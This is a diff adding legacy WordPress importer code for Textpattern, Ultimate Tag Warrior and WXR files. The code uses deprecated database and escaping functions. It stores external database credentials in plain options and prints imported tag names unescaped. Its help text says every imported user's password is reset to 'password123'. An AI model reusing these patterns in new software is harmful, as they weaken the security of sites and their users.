+	function get_comment_count($post_ID)
+	{
+		global $wpdb;
+		return $wpdb->get_var( $wpdb->prepare("SELECT count(*) FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+	}
+}
+
+if(!function_exists('link_exists'))
+{
+	/**
+	 * Check whether link already exists.
+	 *
+	 * @package WordPress
+	 * @subpackage Textpattern_Import
+	 *
+	 * @param string $linkname
+	 * @return int
+	 */
+	function link_exists($linkname)
+	{
+		global $wpdb;
+		return $wpdb->get_var( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_name = %s", $linkname) );
+	}
+}
+
+/**
+ * TextPattern Importer Class
+ *
+ * @since unknown
+ */
+class Textpattern_Import {
+
+	function header()
+	{
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import Textpattern').'</h2>';
+		echo '<p>'.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'</p>';
+	}
+
+	function footer()
+	{
+		echo '</div>';
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This imports categories, users, posts, comments, and links from any Textpattern 4.0.2+ into this blog.').'</p>';
+		echo '<p>'.__('This has not been tested on previous versions of Textpattern.  Mileage may vary.').'</p>';
+		echo '<p>'.__('Your Textpattern Configuration settings are as follows:').'</p>';
+		echo '<form action="admin.php?import=textpattern&amp;step=1" method="post">';
+		wp_nonce_field('import-textpattern');
+		$this->db_form();
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Import').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function get_txp_cats()
+	{
+		global $wpdb;
+		// General Housekeeping
+		$txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost'));
+		set_magic_quotes_runtime(0);
+		$prefix = get_option('tpre');
+
+		// Get Categories
+		return $txpdb->get_results('SELECT
+			id,
+			name,
+			title
+			FROM '.$prefix.'txp_category
+			WHERE type = "article"',
+			ARRAY_A);
+	}
+
+	function get_txp_users()
+	{
+		global $wpdb;
+		// General Housekeeping
+		$txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost'));
+		set_magic_quotes_runtime(0);
+		$prefix = get_option('tpre');
+
+		// Get Users
+
+		return $txpdb->get_results('SELECT
+			user_id,
+			name,
+			RealName,
+			email,
+			privs
+			FROM '.$prefix.'txp_users', ARRAY_A);
+	}
+
+	function get_txp_posts()
+	{
+		// General Housekeeping
+		$txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost'));
+		set_magic_quotes_runtime(0);
+		$prefix = get_option('tpre');
+
+		// Get Posts
+		return $txpdb->get_results('SELECT
+			ID,
+			Posted,
+			AuthorID,
+			LastMod,
+			Title,
+			Body,
+			Excerpt,
+			Category1,
+			Category2,
+			Status,
+			Keywords,
+			url_title,
+			comments_count
+			FROM '.$prefix.'textpattern
+			', ARRAY_A);
+	}
+
+	function get_txp_comments()
+	{
+		global $wpdb;
+		// General Housekeeping
+		$txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost'));
+		set_magic_quotes_runtime(0);
+		$prefix = get_option('tpre');
+
+		// Get Comments
+		return $txpdb->get_results('SELECT * FROM '.$prefix.'txp_discuss', ARRAY_A);
+	}
+
+		function get_txp_links()
+	{
+		//General Housekeeping
+		$txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost'));
+		set_magic_quotes_runtime(0);
+		$prefix = get_option('tpre');
+
+		return $txpdb->get_results('SELECT
+			id,
+			date,
+			category,
+			url,
+			linkname,
+			description
+			FROM '.$prefix.'txp_link',
+			ARRAY_A);
+	}
+
+	function cat2wp($categories='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$txpcat2wpcat = array();
+		// Do the Magic
+		if(is_array($categories))
+		{
+			echo '<p>'.__('Importing Categories...').'<br /><br /></p>';
+			foreach ($categories as $category)
+			{
+				$count++;
+				extract($category);
+
+
+				// Make Nice Variables
+				$name = $wpdb->escape($name);
+				$title = $wpdb->escape($title);
+
+				if($cinfo = category_exists($name))
+				{
+					$ret_id = wp_insert_category(array('cat_ID' => $cinfo, 'category_nicename' => $name, 'cat_name' => $title));
+				}
+				else
+				{
+					$ret_id = wp_insert_category(array('category_nicename' => $name, 'cat_name' => $title));
+				}
+				$txpcat2wpcat[$id] = $ret_id;
+			}
+
+			// Store category translation for future use
+			add_option('txpcat2wpcat',$txpcat2wpcat);
+			echo '<p>'.sprintf(_n('Done! <strong>%1$s</strong> category imported.', 'Done! <strong>%1$s</strong> categories imported.', $count), $count).'<br /><br /></p>';
+			return true;
+		}
+		echo __('No Categories to Import!');
+		return false;
+	}
+
+	function users2wp($users='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$txpid2wpid = array();
+
+		// Midnight Mojo
+		if(is_array($users))
+		{
+			echo '<p>'.__('Importing Users...').'<br /><br /></p>';
+			foreach($users as $user)
+			{
+				$count++;
+				extract($user);
+
+				// Make Nice Variables
+				$name = $wpdb->escape($name);
+				$RealName = $wpdb->escape($RealName);
+
+				if($uinfo = get_userdatabylogin($name))
+				{
+
+					$ret_id = wp_insert_user(array(
+								'ID'			=> $uinfo->ID,
+								'user_login'	=> $name,
+								'user_nicename'	=> $RealName,
+								'user_email'	=> $email,
+								'user_url'		=> 'http://',
+								'display_name'	=> $name)
+								);
+				}
+				else
+				{
+					$ret_id = wp_insert_user(array(
+								'user_login'	=> $name,
+								'user_nicename'	=> $RealName,
+								'user_email'	=> $email,
+								'user_url'		=> 'http://',
+								'display_name'	=> $name)
+								);
+				}
+				$txpid2wpid[$user_id] = $ret_id;
+
+				// Set Textpattern-to-WordPress permissions translation
+				$transperms = array(1 => '10', 2 => '9', 3 => '5', 4 => '4', 5 => '3', 6 => '2', 7 => '0');
+
+				// Update Usermeta Data
+				$user = new WP_User($ret_id);
+				if('10' == $transperms[$privs]) { $user->set_role('administrator'); }
+				if('9'  == $transperms[$privs]) { $user->set_role('editor'); }
+				if('5'  == $transperms[$privs]) { $user->set_role('editor'); }
+				if('4'  == $transperms[$privs]) { $user->set_role('author'); }
+				if('3'  == $transperms[$privs]) { $user->set_role('contributor'); }
+				if('2'  == $transperms[$privs]) { $user->set_role('contributor'); }
+				if('0'  == $transperms[$privs]) { $user->set_role('subscriber'); }
+
+				update_usermeta( $ret_id, 'wp_user_level', $transperms[$privs] );
+				update_usermeta( $ret_id, 'rich_editing', 'false');
+			}// End foreach($users as $user)
+
+			// Store id translation array for future use
+			add_option('txpid2wpid',$txpid2wpid);
+
+
+			echo '<p>'.sprintf(__('Done! <strong>%1$s</strong> users imported.'), $count).'<br /><br /></p>';
+			return true;
+		}// End if(is_array($users)
+
+		echo __('No Users to Import!');
+		return false;
+
+	}// End function user2wp()
+
+	function posts2wp($posts='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$txpposts2wpposts = array();
+		$cats = array();
+
+		// Do the Magic
+		if(is_array($posts))
+		{
+			echo '<p>'.__('Importing Posts...').'<br /><br /></p>';
+			foreach($posts as $post)
+			{
+				$count++;
+				extract($post);
+
+				// Set Textpattern-to-WordPress status translation
+				$stattrans = array(1 => 'draft', 2 => 'private', 3 => 'draft', 4 => 'publish', 5 => 'publish');
+
+				//Can we do this more efficiently?
+				$uinfo = ( get_userdatabylogin( $AuthorID ) ) ? get_userdatabylogin( $AuthorID ) : 1;
+				$authorid = ( is_object( $uinfo ) ) ? $uinfo->ID : $uinfo ;
+
+				$Title = $wpdb->escape($Title);
+				$Body = $wpdb->escape($Body);
+				$Excerpt = $wpdb->escape($Excerpt);
+				$post_status = $stattrans[$Status];
+
+				// Import Post data into WordPress
+
+				if($pinfo = post_exists($Title,$Body))
+				{
+					$ret_id = wp_insert_post(array(
+						'ID'				=> $pinfo,
+						'post_date'			=> $Posted,
+						'post_date_gmt'		=> $post_date_gmt,
+						'post_author'		=> $authorid,
+						'post_modified'		=> $LastMod,
+						'post_modified_gmt' => $post_modified_gmt,
+						'post_title'		=> $Title,
+						'post_content'		=> $Body,
+						'post_excerpt'		=> $Excerpt,
+						'post_status'		=> $post_status,
+						'post_name'			=> $url_title,
+						'comment_count'		=> $comments_count)
+						);
+					if ( is_wp_error( $ret_id ) )
+						return $ret_id;
+				}
+				else
+				{
+					$ret_id = wp_insert_post(array(
+						'post_date'			=> $Posted,
+						'post_date_gmt'		=> $post_date_gmt,
+						'post_author'		=> $authorid,
+						'post_modified'		=> $LastMod,
+						'post_modified_gmt' => $post_modified_gmt,
+						'post_title'		=> $Title,
+						'post_content'		=> $Body,
+						'post_excerpt'		=> $Excerpt,
+						'post_status'		=> $post_status,
+						'post_name'			=> $url_title,
+						'comment_count'		=> $comments_count)
+						);
+					if ( is_wp_error( $ret_id ) )
+						return $ret_id;
+				}
+				$txpposts2wpposts[$ID] = $ret_id;
+
+				// Make Post-to-Category associations
+				$cats = array();
+				$category1 = get_category_by_slug($Category1);
+				$category1 = $category1->term_id;
+				$category2 = get_category_by_slug($Category2);
+				$category2 = $category2->term_id;
+				if($cat1 = $category1) { $cats[1] = $cat1; }
+				if($cat2 = $category2) { $cats[2] = $cat2; }
+
+				if(!empty($cats)) { wp_set_post_categories($ret_id, $cats); }
+			}
+		}
+		// Store ID translation for later use
+		add_option('txpposts2wpposts',$txpposts2wpposts);
+
+		echo '<p>'.sprintf(__('Done! <strong>%1$s</strong> posts imported.'), $count).'<br /><br /></p>';
+		return true;
+	}
+
+	function comments2wp($comments='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$txpcm2wpcm = array();
+		$postarr = get_option('txpposts2wpposts');
+
+		// Magic Mojo
+		if(is_array($comments))
+		{
+			echo '<p>'.__('Importing Comments...').'<br /><br /></p>';
+			foreach($comments as $comment)
+			{
+				$count++;
+				extract($comment);
+
+				// WordPressify Data
+				$comment_ID = ltrim($discussid, '0');
+				$comment_post_ID = $postarr[$parentid];
+				$comment_approved = (1 == $visible) ? 1 : 0;
+				$name = $wpdb->escape($name);
+				$email = $wpdb->escape($email);
+				$web = $wpdb->escape($web);
+				$message = $wpdb->escape($message);
+
+				if($cinfo = comment_exists($name, $posted))
+				{
+					// Update comments
+					$ret_id = wp_update_comment(array(
+						'comment_ID'			=> $cinfo,
+						'comment_post_ID'		=> $comment_post_ID,
+						'comment_author'		=> $name,
+						'comment_author_email'	=> $email,
+						'comment_author_url'	=> $web,
+						'comment_date'			=> $posted,
+						'comment_content'		=> $message,
+						'comment_approved'		=> $comment_approved)
+						);
+				}
+				else
+				{
+					// Insert comments
+					$ret_id = wp_insert_comment(array(
+						'comment_post_ID'		=> $comment_post_ID,
+						'comment_author'		=> $name,
+						'comment_author_email'	=> $email,
+						'comment_author_url'	=> $web,
+						'comment_author_IP'		=> $ip,
+						'comment_date'			=> $posted,
+						'comment_content'		=> $message,
+						'comment_approved'		=> $comment_approved)
+						);
+				}
+				$txpcm2wpcm[$comment_ID] = $ret_id;
+			}
+			// Store Comment ID translation for future use
+			add_option('txpcm2wpcm', $txpcm2wpcm);
+
+			// Associate newly formed categories with posts
+			get_comment_count($ret_id);
+
+
+			echo '<p>'.sprintf(__('Done! <strong>%1$s</strong> comments imported.'), $count).'<br /><br /></p>';
+			return true;
+		}
+		echo __('No Comments to Import!');
+		return false;
+	}
+
+	function links2wp($links='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+
+		// Deal with the links
+		if(is_array($links))
+		{
+			echo '<p>'.__('Importing Links...').'<br /><br /></p>';
+			foreach($links as $link)
+			{
+				$count++;
+				extract($link);
+
+				// Make nice vars
+				$category = $wpdb->escape($category);
+				$linkname = $wpdb->escape($linkname);
+				$description = $wpdb->escape($description);
+
+				if($linfo = link_exists($linkname))
+				{
+					$ret_id = wp_insert_link(array(
+								'link_id'			=> $linfo,
+								'link_url'			=> $url,
+								'link_name'			=> $linkname,
+								'link_category'		=> $category,
+								'link_description'	=> $description,
+								'link_updated'		=> $date)
+								);
+				}
+				else
+				{
+					$ret_id = wp_insert_link(array(
+								'link_url'			=> $url,
+								'link_name'			=> $linkname,
+								'link_category'		=> $category,
+								'link_description'	=> $description,
+								'link_updated'		=> $date)
+								);
+				}
+				$txplinks2wplinks[$link_id] = $ret_id;
+			}
+			add_option('txplinks2wplinks',$txplinks2wplinks);
+			echo '<p>';
+			printf(_n('Done! <strong>%s</strong> link imported', 'Done! <strong>%s</strong> links imported', $count), $count);
+			echo '<br /><br /></p>';
+			return true;
+		}
+		echo __('No Links to Import!');
+		return false;
+	}
+
+	function import_categories()
+	{
+		// Category Import
+		$cats = $this->get_txp_cats();
+		$this->cat2wp($cats);
+		add_option('txp_cats', $cats);
+
+
+
+		echo '<form action="admin.php?import=textpattern&amp;step=2" method="post">';
+		wp_nonce_field('import-textpattern');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Users'));
+		echo '</form>';
+
+	}
+
+	function import_users()
+	{
+		// User Import
+		$users = $this->get_txp_users();
+		$this->users2wp($users);
+
+		echo '<form action="admin.php?import=textpattern&amp;step=3" method="post">';
+		wp_nonce_field('import-textpattern');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Posts'));
+		echo '</form>';
+	}
+
+	function import_posts()
+	{
+		// Post Import
+		$posts = $this->get_txp_posts();
+		$result = $this->posts2wp($posts);
+		if ( is_wp_error( $result ) )
+			return $result;
+
+		echo '<form action="admin.php?import=textpattern&amp;step=4" method="post">';
+		wp_nonce_field('import-textpattern');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Comments'));
+		echo '</form>';
+	}
+
+	function import_comments()
+	{
+		// Comment Import
+		$comments = $this->get_txp_comments();
+		$this->comments2wp($comments);
+
+		echo '<form action="admin.php?import=textpattern&amp;step=5" method="post">';
+		wp_nonce_field('import-textpattern');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Links'));
+		echo '</form>';
+	}
+
+	function import_links()
+	{
+		//Link Import
+		$links = $this->get_txp_links();
+		$this->links2wp($links);
+		add_option('txp_links', $links);
+
+		echo '<form action="admin.php?import=textpattern&amp;step=6" method="post">';
+		wp_nonce_field('import-textpattern');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Finish'));
+		echo '</form>';
+	}
+
+	function cleanup_txpimport()
+	{
+		delete_option('tpre');
+		delete_option('txp_cats');
+		delete_option('txpid2wpid');
+		delete_option('txpcat2wpcat');
+		delete_option('txpposts2wpposts');
+		delete_option('txpcm2wpcm');
+		delete_option('txplinks2wplinks');
+		delete_option('txpuser');
+		delete_option('txppass');
+		delete_option('txpname');
+		delete_option('txphost');
+		do_action('import_done', 'textpattern');
+		$this->tips();
+	}
+
+	function tips()
+	{
+		echo '<p>'.__('Welcome to WordPress.  We hope (and expect!) that you will find this platform incredibly rewarding!  As a new WordPress user coming from Textpattern, there are some things that we would like to point out.  Hopefully, they will help your transition go as smoothly as possible.').'</p>';
+		echo '<h3>'.__('Users').'</h3>';
+		echo '<p>'.sprintf(__('You have already setup WordPress and have been assigned an administrative login and password.  Forget it.  You didn&#8217;t have that login in Textpattern, why should you have it here?  Instead we have taken care to import all of your users into our system.  Unfortunately there is one downside.  Because both WordPress and Textpattern uses a strong encryption hash with passwords, it is impossible to decrypt it and we are forced to assign temporary passwords to all your users.  <strong>Every user has the same username, but their passwords are reset to password123.</strong>  So <a href="%1$s">Login</a> and change it.'), get_bloginfo( 'wpurl' ) . '/wp-login.php').'</p>';
+		echo '<h3>'.__('Preserving Authors').'</h3>';
+		echo '<p>'.__('Secondly, we have attempted to preserve post authors.  If you are the only author or contributor to your blog, then you are safe.  In most cases, we are successful in this preservation endeavor.  However, if we cannot ascertain the name of the writer due to discrepancies between database tables, we assign it to you, the administrative user.').'</p>';
+		echo '<h3>'.__('Textile').'</h3>';
+		echo '<p>'.__('Also, since you&#8217;re coming from Textpattern, you probably have been using Textile to format your comments and posts.  If this is the case, we recommend downloading and installing <a href="http://www.huddledmasses.org/category/development/wordpress/textile/">Textile for WordPress</a>.  Trust me... You&#8217;ll want it.').'</p>';
+		echo '<h3>'.__('WordPress Resources').'</h3>';
+		echo '<p>'.__('Finally, there are numerous WordPress resources around the internet.  Some of them are:').'</p>';
+		echo '<ul>';
+		echo '<li>'.__('<a href="http://www.wordpress.org">The official WordPress site</a>').'</li>';
+		echo '<li>'.__('<a href="http://wordpress.org/support/">The WordPress support forums</a>').'</li>';
+		echo '<li>'.__('<a href="http://codex.wordpress.org">The Codex (In other words, the WordPress Bible)</a>').'</li>';
+		echo '</ul>';
+		echo '<p>'.sprintf(__('That&#8217;s it! What are you waiting for? Go <a href="%1$s">login</a>!'), get_bloginfo( 'wpurl' ) . '/wp-login.php').'</p>';
+	}
+
+	function db_form()
+	{
+		echo '<table class="form-table">';
+		printf('<tr><th scope="row"><label for="dbuser">%s</label></th><td><input type="text" name="dbuser" id="dbuser" /></td></tr>', __('Textpattern Database User:'));
+		printf('<tr><th scope="row"><label for="dbpass">%s</label></th><td><input type="password" name="dbpass" id="dbpass" /></td></tr>', __('Textpattern Database Password:'));
+		printf('<tr><th scope="row"><label for="dbname">%s</label></th><td><input type="text" id="dbname" name="dbname" /></td></tr>', __('Textpattern Database Name:'));
+		printf('<tr><th scope="row"><label for="dbhost">%s</label></th><td><input type="text" id="dbhost" name="dbhost" value="localhost" /></td></tr>', __('Textpattern Database Host:'));
+		printf('<tr><th scope="row"><label for="dbprefix">%s</label></th><td><input type="text" name="dbprefix" id="dbprefix"  /></td></tr>', __('Textpattern Table prefix (if any):'));
+		echo '</table>';
+	}
+
+	function dispatch()
+	{
+
+		if (empty ($_GET['step']))
+			$step = 0;
+		else
+			$step = (int) $_GET['step'];
+		$this->header();
+
+		if ( $step > 0 )
+		{
+			check_admin_referer('import-textpattern');
+
+			if($_POST['dbuser'])
+			{
+				if(get_option('txpuser'))
+					delete_option('txpuser');
+				add_option('txpuser', sanitize_user($_POST['dbuser'], true));
+			}
+			if($_POST['dbpass'])
+			{
+				if(get_option('txppass'))
+					delete_option('txppass');
+				add_option('txppass',  sanitize_user($_POST['dbpass'], true));
+			}
+
+			if($_POST['dbname'])
+			{
+				if(get_option('txpname'))
+					delete_option('txpname');
+				add_option('txpname',  sanitize_user($_POST['dbname'], true));
+			}
+			if($_POST['dbhost'])
+			{
+				if(get_option('txphost'))
+					delete_option('txphost');
+				add_option('txphost',  sanitize_user($_POST['dbhost'], true));
+			}
+			if($_POST['dbprefix'])
+			{
+				if(get_option('tpre'))
+					delete_option('tpre');
+				add_option('tpre',  sanitize_user($_POST['dbprefix']));
+			}
+
+
+		}
+
+		switch ($step)
+		{
+			default:
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				$this->import_categories();
+				break;
+			case 2 :
+				$this->import_users();
+				break;
+			case 3 :
+				$result = $this->import_posts();
+				if ( is_wp_error( $result ) )
+					echo $result->get_error_message();
+				break;
+			case 4 :
+				$this->import_comments();
+				break;
+			case 5 :
+				$this->import_links();
+				break;
+			case 6 :
+				$this->cleanup_txpimport();
+				break;
+		}
+
+		$this->footer();
+	}
+
+	function Textpattern_Import()
+	{
+		// Nothing.
+	}
+}
+
+$txp_import = new Textpattern_Import();
+
+register_importer('textpattern', __('Textpattern'), __('Import categories, users, posts, comments, and links from a Textpattern blog.'), array ($txp_import, 'dispatch'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/utw.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/utw.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/utw.php	(revision 44)
@@ -0,0 +1,290 @@
+<?php
+/**
+ * The Ultimate Tag Warrior Importer.
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * Ultimate Tag Warrior Converter to 2.3 taxonomy.
+ *
+ * This converts the Ultimate Tag Warrior tags to the 2.3 WordPress taxonomy.
+ *
+ * @since 2.3.0
+ */
+class UTW_Import {
+
+	function header()  {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import Ultimate Tag Warrior').'</h2>';
+		echo '<p>'.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'<br /><br /></p>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This imports tags from Ultimate Tag Warrior 3 into WordPress tags.').'</p>';
+		echo '<p>'.__('This has not been tested on any other versions of Ultimate Tag Warrior. Mileage may vary.').'</p>';
+		echo '<p>'.__('To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 5-step program to help you kick that nasty UTW habit. Just keep clicking along and we will let you know when you are in the clear!').'</p>';
+		echo '<p><strong>'.__('Don&#8217;t be stupid - backup your database before proceeding!').'</strong></p>';
+		echo '<form action="admin.php?import=utw&amp;step=1" method="post">';
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Step 1').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+
+	function dispatch () {
+		if ( empty( $_GET['step'] ) ) {
+			$step = 0;
+		} else {
+			$step = (int) $_GET['step'];
+		}
+
+		if ( $step > 1 )
+			check_admin_referer('import-utw');
+
+		// load the header
+		$this->header();
+
+		switch ( $step ) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				$this->import_tags();
+				break;
+			case 2 :
+				$this->import_posts();
+				break;
+			case 3:
+				$this->import_t2p();
+				break;
+			case 4:
+				$this->cleanup_import();
+				break;
+		}
+
+		// load the footer
+		$this->footer();
+	}
+
+
+	function import_tags ( ) {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Reading UTW Tags&#8230;').'</h3></p>';
+
+		$tags = $this->get_utw_tags();
+
+		// if we didn't get any tags back, that's all there is folks!
+		if ( !is_array($tags) ) {
+			echo '<p>' . __('No Tags Found!') . '</p>';
+			return false;
+		}
+		else {
+
+			// if there's an existing entry, delete it
+			if ( get_option('utwimp_tags') ) {
+				delete_option('utwimp_tags');
+			}
+
+			add_option('utwimp_tags', $tags);
+
+
+			$count = count($tags);
+
+			echo '<p>' . sprintf( _n('Done! <strong>%s</strong> tag were read.', 'Done! <strong>%s</strong> tags were read.', $count), $count ) . '<br /></p>';
+			echo '<p>' . __('The following tags were found:') . '</p>';
+
+			echo '<ul>';
+
+			foreach ( $tags as $tag_id => $tag_name ) {
+
+				echo '<li>' . $tag_name . '</li>';
+
+			}
+
+			echo '</ul>';
+
+			echo '<br />';
+
+			echo '<p>' . __('If you don&#8217;t want to import any of these tags, you should delete them from the UTW tag management page and then re-run this import.') . '</p>';
+
+
+		}
+
+		echo '<form action="admin.php?import=utw&amp;step=2" method="post">';
+		wp_nonce_field('import-utw');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Step 2').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+
+	function import_posts ( ) {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Reading UTW Post Tags&#8230;').'</h3></p>';
+
+		// read in all the UTW tag -> post settings
+		$posts = $this->get_utw_posts();
+
+		// if we didn't get any tags back, that's all there is folks!
+		if ( !is_array($posts) ) {
+			echo '<p>' . __('No posts were found to have tags!') . '</p>';
+			return false;
+		}
+		else {
+
+			// if there's an existing entry, delete it
+			if ( get_option('utwimp_posts') ) {
+				delete_option('utwimp_posts');
+			}
+
+			add_option('utwimp_posts', $posts);
+
+
+			$count = count($posts);
+
+			echo '<p>' . sprintf( _n('Done! <strong>%s</strong> tag to post relationships were read.', 'Done! <strong>%s</strong> tags to post relationships were read.', $count), $count ) . '<br /></p>';
+
+		}
+
+		echo '<form action="admin.php?import=utw&amp;step=3" method="post">';
+		wp_nonce_field('import-utw');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Step 3').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+
+	}
+
+
+	function import_t2p ( ) {
+
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Adding Tags to Posts&#8230;').'</h3></p>';
+
+		// run that funky magic!
+		$tags_added = $this->tag2post();
+
+		echo '<p>' . sprintf( _n( 'Done! <strong>%s</strong> tag were added!', 'Done! <strong>%s</strong> tags were added!', $tags_added ), $tags_added ) . '<br /></p>';
+
+		echo '<form action="admin.php?import=utw&amp;step=4" method="post">';
+		wp_nonce_field('import-utw');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Step 4').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+
+	}
+
+
+	function get_utw_tags ( ) {
+
+		global $wpdb;
+
+		// read in all the tags from the UTW tags table: should be wp_tags
+		$tags_query = "SELECT tag_id, tag FROM " . $wpdb->prefix . "tags";
+
+		$tags = $wpdb->get_results($tags_query);
+
+		// rearrange these tags into something we can actually use
+		foreach ( $tags as $tag ) {
+
+			$new_tags[$tag->tag_id] = $tag->tag;
+
+		}
+
+		return $new_tags;
+
+	}
+
+	function get_utw_posts ( ) {
+
+		global $wpdb;
+
+		// read in all the posts from the UTW post->tag table: should be wp_post2tag
+		$posts_query = "SELECT tag_id, post_id FROM " . $wpdb->prefix . "post2tag";
+
+		$posts = $wpdb->get_results($posts_query);
+
+		return $posts;
+
+	}
+
+
+	function tag2post ( ) {
+
+		// get the tags and posts we imported in the last 2 steps
+		$tags = get_option('utwimp_tags');
+		$posts = get_option('utwimp_posts');
+
+		// null out our results
+		$tags_added = 0;
+
+		// loop through each post and add its tags to the db
+		foreach ( $posts as $this_post ) {
+
+			$the_post = (int) $this_post->post_id;
+			$the_tag = (int) $this_post->tag_id;
+
+			// what's the tag name for that id?
+			$the_tag = $tags[$the_tag];
+
+			// screw it, just try to add the tag
+			wp_add_post_tags($the_post, $the_tag);
+
+			$tags_added++;
+
+		}
+
+		// that's it, all posts should be linked to their tags properly, pending any errors we just spit out!
+		return $tags_added;
+
+
+	}
+
+
+	function cleanup_import ( ) {
+
+		delete_option('utwimp_tags');
+		delete_option('utwimp_posts');
+
+		$this->done();
+
+	}
+
+
+	function done ( ) {
+
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Import Complete!').'</h3></p>';
+
+		echo '<p>' . __('OK, so we lied about this being a 5-step program! You&#8217;re done!') . '</p>';
+
+		echo '<p>' . __('Now wasn&#8217;t that easy?') . '</p>';
+
+		echo '</div>';
+
+	}
+
+
+	function UTW_Import ( ) {
+
+		// Nothing.
+
+	}
+
+}
+
+
+// create the import object
+$utw_import = new UTW_Import();
+
+// add it to the import page!
+register_importer('utw', 'Ultimate Tag Warrior', __('Import Ultimate Tag Warrior tags into WordPress tags.'), array($utw_import, 'dispatch'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/wordpress.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/wordpress.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/wordpress.php	(revision 44)
@@ -0,0 +1,807 @@
+<?php
+/**
+ * WordPress Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * WordPress Importer
+ *
+ * Will process the WordPress eXtended RSS files that you upload from the export
+ * file.
+ *
+ * @since unknown
+ */
+class WP_Import {
+
+	var $post_ids_processed = array ();
+	var $orphans = array ();
+	var $file;
+	var $id;
+	var $mtnames = array ();
+	var $newauthornames = array ();
+	var $allauthornames = array ();
+
+	var $author_ids = array ();
+	var $tags = array ();
+	var $categories = array ();
+
+	var $j = -1;
+	var $fetch_attachments = false;
+	var $url_remap = array ();
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import WordPress').'</h2>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function unhtmlentities($string) { // From php.net for < 4.3 compat
+		$trans_tbl = get_html_translation_table(HTML_ENTITIES);
+		$trans_tbl = array_flip($trans_tbl);
+		return strtr($string, $trans_tbl);
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! Upload your WordPress eXtended RSS (WXR) file and we&#8217;ll import the posts, pages, comments, custom fields, categories, and tags into this blog.').'</p>';
+		echo '<p>'.__('Choose a WordPress WXR file to upload, then click Upload file and import.').'</p>';
+		wp_import_upload_form("admin.php?import=wordpress&amp;step=1");
+		echo '</div>';
+	}
+
+	function get_tag( $string, $tag ) {
+		global $wpdb;
+		preg_match("|<$tag.*?>(.*?)</$tag>|is", $string, $return);
+		$return = preg_replace('|^<!\[CDATA\[(.*)\]\]>$|s', '$1', $return[1]);
+		$return = $wpdb->escape( trim( $return ) );
+		return $return;
+	}
+
+	function has_gzip() {
+		return is_callable('gzopen');
+	}
+
+	function fopen($filename, $mode='r') {
+		if ( $this->has_gzip() )
+			return gzopen($filename, $mode);
+		return fopen($filename, $mode);
+	}
+
+	function feof($fp) {
+		if ( $this->has_gzip() )
+			return gzeof($fp);
+		return feof($fp);
+	}
+
+	function fgets($fp, $len=8192) {
+		if ( $this->has_gzip() )
+			return gzgets($fp, $len);
+		return fgets($fp, $len);
+	}
+
+	function fclose($fp) {
+		if ( $this->has_gzip() )
+			return gzclose($fp);
+		return fclose($fp);
+	}
+
+	function get_entries($process_post_func=NULL) {
+		set_magic_quotes_runtime(0);
+
+		$doing_entry = false;
+		$is_wxr_file = false;
+
+		$fp = $this->fopen($this->file, 'r');
+		if ($fp) {
+			while ( !$this->feof($fp) ) {
+				$importline = rtrim($this->fgets($fp));
+
